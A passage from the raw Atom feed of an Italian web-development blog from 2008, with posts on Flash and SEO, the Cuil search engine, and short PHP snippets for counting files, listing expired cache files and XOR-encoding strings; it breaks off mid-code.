realizzazione di un Flash, non avrete garanzie che il vostro lavoro venga indicizzato dai motori di ricerca. Un esempio pratico riguarda Google, che non riesce ancora ad indicizzare i file .swf inclusi tramite SWFObject.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Conclusioni&lt;/li&gt;&lt;br /&gt;Il mio parere è di utilizzare Flash solamente per determinate tipologie di siti e solo se è veramente necessario. Ciò non toglie, però, che può essere utilizzato benissimo per migliorare l'aspetto estetico del sito utilizzando effetti ed animazioni particolari su immagini e parti del sito dove l'indicizzazione ci interessa poco. Ovviamente è sconsigliabile utilizzarlo per menu di navigazione, testi e contenuti che possono impedire la corretta indicizzazione degli stessi. &lt;/ul&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-6725567629893854508?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/6725567629893854508/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/flash-e-i-motori-di-ricerca.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/6725567629893854508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/6725567629893854508'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/flash-e-i-motori-di-ricerca.html' title='Flash e i motori di ricerca'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-6288950840817062280</id><published>2008-09-01T01:50:00.001+02:00</published><updated>2008-09-01T06:50:46.807+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web News'/><title type='text'>Cuil il futuro rivale di Google?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_o4CtEdXe-DM/SLs5sTegU-I/AAAAAAAAAHg/dc4VYQDsnWA/s1600-h/20080729cuil.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_o4CtEdXe-DM/SLs5sTegU-I/AAAAAAAAAHg/dc4VYQDsnWA/s200/20080729cuil.jpg" alt="" id="BLOGGER_PHOTO_ID_5240846024680952802" border="0" /&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;Presentato come il nuovo rivale di Google, Cuil è un nuovo motore di ricerca creato da alcuni ex-dipendenti di Google. Ma ovviamente non mancano le critiche.&lt;br /&gt;Dal punto di vita grafico, l'interfaccia è ben curata anche se personalmente non condivido l'utilizzo di 2/3 colonne per l'impaginazione dei risultati, spesso diventa molto confusionario e poco usabile. La pecca più grande, ahimè, sta nei risultati a volte non corretti e fuori da ogni logica. Facciamo una prova cercando 'prison break' (uno delle mie serie tv preferite) per renderci conto anche della quantità di risultati trovati rispetto al nostro grande Google:&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Google: 29.300.000 di risultati.&lt;br /&gt;Cuil: 7.640.517 di risultati.&lt;br /&gt;&lt;br /&gt;Vi riporto quanto detto anche da &lt;a href="http://www.seomoz.org/blog/comparing-search-engine-performance-how-does-cuill-stack-up-to-google-yahoo-live-ask" target="_blank"&gt;SEOmoz&lt;/a&gt; riguardo il lancio di Cuil, in termini non esattamente entusiastici:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Cuil was foolish to launch now. Given the buzz they had and the potential to take market share (even a fraction of a percent is worth millions), they should have had lots of people like me running lots of tests like this, showing them how clearly far behind they were from the major engines. You only get one chance to make a first impression, and theirs was spoiled.&lt;/blockquote&gt;&lt;br /&gt;E' vero si che si tratta di un motore di ricerca appena nato e che ha tutta la voglia di crescere per migliorare ma credo sia stato un grande errore pubblicizzare a livello mondiale un motore di ricerca che non soddisfa pienamente le ricerche degli utenti.&lt;br /&gt;Quanto dovranno lavorare gli sviluppatori di Cuil per avere una seconda possibilità da parte di questi utenti insoddisfatti?&lt;br /&gt;&lt;br /&gt;Lascio a voi le conclusioni.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-6288950840817062280?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/6288950840817062280/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/cuil-il-futuro-rivale-di-google.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/6288950840817062280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/6288950840817062280'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/cuil-il-futuro-rivale-di-google.html' title='Cuil il futuro rivale di Google?'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_o4CtEdXe-DM/SLs5sTegU-I/AAAAAAAAAHg/dc4VYQDsnWA/s72-c/20080729cuil.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-5526405914430028856</id><published>2008-08-31T15:18:00.000+02:00</published><updated>2008-09-01T01:48:22.912+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><title type='text'>PHP: Contare i files ricorsivamente</title><content type='html'>&lt;div style="text-align: justify;"&gt;Un esempio che ritorna il numero di files inclusi anche nelle sottodirectory.&lt;br /&gt;E' necessario utilizzare una funzione normalize_path per essere sicuri che la variabile $path contenga gli slash finali (-&gt; &lt;span style="font-weight: bold;"&gt;http://codedump.jonasjohn.de/snippets/normalize_path.htm&lt;/span&gt;)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;function&lt;/span&gt; count_files_recursive&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$path&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 136);"&gt;$files&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(128, 0, 128);"&gt;0&lt;/span&gt;;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 136);"&gt;$dir&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/opendir"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;opendir&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$path&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$dir&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(128, 0, 128);"&gt;0&lt;/span&gt;;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$file&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/readdir"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;readdir&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$dir&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;!==&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;false&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$file&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt; &lt;span style=""&gt;'.'&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;continue&lt;/span&gt;; &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/is_dir"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;is_dir&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$path&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$file&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;     &lt;br /&gt;          &lt;span style="color: rgb(0, 0, 136);"&gt;$files&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;+=&lt;/span&gt; count_files_recursive&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$path&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$file&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;DIRECTORY_SEPARATOR&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;      &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 136);"&gt;$files&lt;/span&gt;++;&lt;br /&gt;      &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt; &lt;br /&gt;  &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/closedir"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;closedir&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$dir&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$files&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-5526405914430028856?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/5526405914430028856/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/php-contare-i-files-ricorsivamente.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/5526405914430028856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/5526405914430028856'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/php-contare-i-files-ricorsivamente.html' title='PHP: Contare i files ricorsivamente'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-2103621840261434830</id><published>2008-08-31T14:59:00.000+02:00</published><updated>2008-09-01T01:48:34.084+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><title type='text'>PHP: Cancellare files dopo un determinato periodo di tempo</title><content type='html'>&lt;div style="text-align: justify;"&gt;Questo esempio mostra come cancellare determinati tipi di file dopo un periodo di tempo. Questo può essere utile, per esempio, per cancellare files in cache.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;// Definire la directory da pulire&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$captchaFolder&lt;/span&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style=""&gt;'temp/'&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;// I tipi di file da controllare (si può usare anche *.*)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$fileTypes&lt;/span&gt;      &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style=""&gt;'*.jpg'&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;// Qui è possibile definire dopo quanti&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;// minuti i file saranno cancellati&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$expire_time&lt;/span&gt;    &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;20&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;foreach&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/glob"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;glob&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$captchaFolder&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$fileTypes&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;as&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$Filename&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$FileCreationTime&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/filectime"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;filectime&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$Filename&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$FileAge&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/time"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;time&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$FileCreationTime&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$FileAge&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$expire_time&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;60&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/print"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;print&lt;/span&gt;&lt;/a&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;"The file $Filename is older than $expire_time minutes&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-2103621840261434830?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/2103621840261434830/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/php-cancellare-files-dopo-un.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2103621840261434830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2103621840261434830'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/php-cancellare-files-dopo-un.html' title='PHP: Cancellare files dopo un determinato periodo di tempo'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-7941471932048721252</id><published>2008-08-31T14:09:00.000+02:00</published><updated>2008-09-01T01:48:44.317+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><title type='text'>PHP: Cryptare con algoritmo XOR</title><content type='html'>Cryptiamo una stringa con una chiave utilizzando l'algoritmo XOR.&lt;br /&gt;&lt;br /&gt;- Il parametro InputString specifica la stringa data in input.&lt;br /&gt;- Il parametro KeyPhrase specifica la chiave da utilizzare.&lt;br /&gt;&lt;br /&gt;&lt;code&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;function&lt;/span&gt; XOREncryption&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$KeyPhrase&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$KeyPhraseLength&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/strlen"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;strlen&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$KeyPhrase&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;for&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$i&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(128, 0, 128);"&gt;0&lt;/span&gt;; &lt;span style="color: rgb(0, 0, 136);"&gt;$i&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;&amp;lt;&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/strlen"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;strlen&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;; &lt;span style="color: rgb(0, 0, 136);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;++&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 136);"&gt;$rPos&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$i&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;%&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$KeyPhraseLength&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 136);"&gt;$r&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/ord"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;ord&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; ^ &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/ord"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;ord&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$KeyPhrase&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$rPos&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/chr"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;chr&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$r&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;function&lt;/span&gt; XOREncrypt&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$KeyPhrase&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; XOREncryption&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$KeyPhrase&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/base64_encode"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;base64_encode&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(0, 153, 